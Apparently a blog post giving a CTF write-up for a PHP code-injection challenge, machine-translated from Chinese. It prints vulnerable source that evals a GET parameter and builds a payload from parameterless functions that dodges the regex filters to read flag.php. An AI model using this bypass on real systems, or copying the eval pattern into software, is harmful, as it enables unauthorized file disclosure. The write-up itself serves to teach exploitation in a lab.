当前位置:网站首页>Buuctf-[gxyctf2019] no dolls (xiaoyute detailed explanation)
Buuctf-[gxyctf2019] no dolls (xiaoyute detailed explanation)
2022-07-06 06:00:00 【Xiaoyute detailed explanation】
buuctf-[GXYCTF2019] No doll ( Xiaoyute detailed explanation )
Let's look at the question first
There is no useful information found here , First use dirsearch To blow up but didn't find anything useful , At this time, I suspect there is git Leaked the use here githack Detection found index.php
Look at the source code here
<?php
2 include "flag.php";
3 echo "flag Where is it ?<br>";
4 if(isset($_GET['exp'])){
// Need to be GET The form passes in a name exp Parameters of . If the conditions are met, this... Will be executed exp Parameter content .
5 if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
// Several common pseudo protocols are filtered , Cannot read file with pseudo Protocol .
6 if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
//(?R) Reference the current expression , I added ? Recursively call . You can only match through parameterless functions .
7 if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// Regular matches are missing et/na/info Other key words , Many functions don't work .
8 // echo $_GET['exp'];
9 @eval($_GET['exp']);
10 }
11 else{
12 die(" It's a little bit close to !");
13 }
14 }
15 else{
16 die(" Think about it !");
17 }
18 }
19 else{
20 die(" Still want to read flag, Smelly brother !");
21 }
22 }
23 // highlight_file(__FILE__);
24 ?>
The key point is
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
there ?R It means
Reference the current expression , Add... To the back ? It's a recursive call
therefore exp Must be a(b()); This type is OK
We learned from the source code flag stay flag.php in
Just find a way to read
scandir() Function can scan files in the current directory
<?php
print_r(scandir('.'));
?>
structure scandir(’.’) Can
It's used here 2 A function
localeconv() Function returns an array of local numbers and currency format information . And the first item in the array is .
current() Returns the current cell in the array , The first value is taken by default .
Note here
current(localeconv()) Always a point
First step
?exp=print_r(scandir(current(localeconv())));
Here you need to read the penultimate array
Two functions are also used here
next(): The function points the internal pointer to the next element in the array , And the output
array_reverse(): Array returns the array in the reverse order of elements
final payload
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
边栏推荐
- Network protocol model
- Practice sharing: how to safely and quickly migrate from CentOS to openeuler
- [ram IP] introduction and experiment of ram IP core
- H3C V7版本交换机配置IRF
- VINS-Mono: A Robust and Versatile Monocular Visual-Inertial State Estimator
- 数学三大核心领域概述:几何
- ContentType的作用
- 【论文代码】SML部分代码阅读
- (5) Explanation of yolo-v3 core source code (3)
- Leetcode 701 insertion operation in binary search tree -- recursive method and iterative method
猜你喜欢
Memory and stack related concepts
Migrate Infones to stm32
wib3.0 跨越,在跨越(ง •̀_•́)ง
【论文阅读】NFlowJS:基于鲁棒学习的合成负数据密集异常检测
Detailed explanation of BF and KMP
Report on the competition status and investment decision recommendations of Guangxi hospital industry in China from 2022 to 2028
VINS-Mono: A Robust and Versatile Monocular Visual-Inertial State Estimator
Request forwarding and redirection
嵌入式面试题(四、常见算法)
Station B Liu Erden linear regression pytoch
随机推荐
H3C firewall rbm+vrrp networking configuration
High quality coding tool clion
华为路由器忘记密码怎么恢复
Mysql database master-slave cluster construction
类和对象(一)this指针详解
Configuring OSPF GR features for Huawei devices
Download, install and use NVM of node, and related use of node and NRM
Construction of yolox based on paste framework
A master in the field of software architecture -- Reading Notes of the beauty of Architecture
Redis message queue
Hongliao Technology: Liu qiangdong's "heavy hand"
Is it difficult for an information system project manager?
Some easy-to-use tools make your essay style more elegant
Rustdesk builds its own remote desktop relay server
IPv6 comprehensive experiment
Analysis of grammar elements in turtle Library
Query the standard text code corresponding to a work center (s) in the production order
功能安全之故障(fault),错误(error),失效(failure)
C language learning notes (mind map)
YYGH-11-定时统计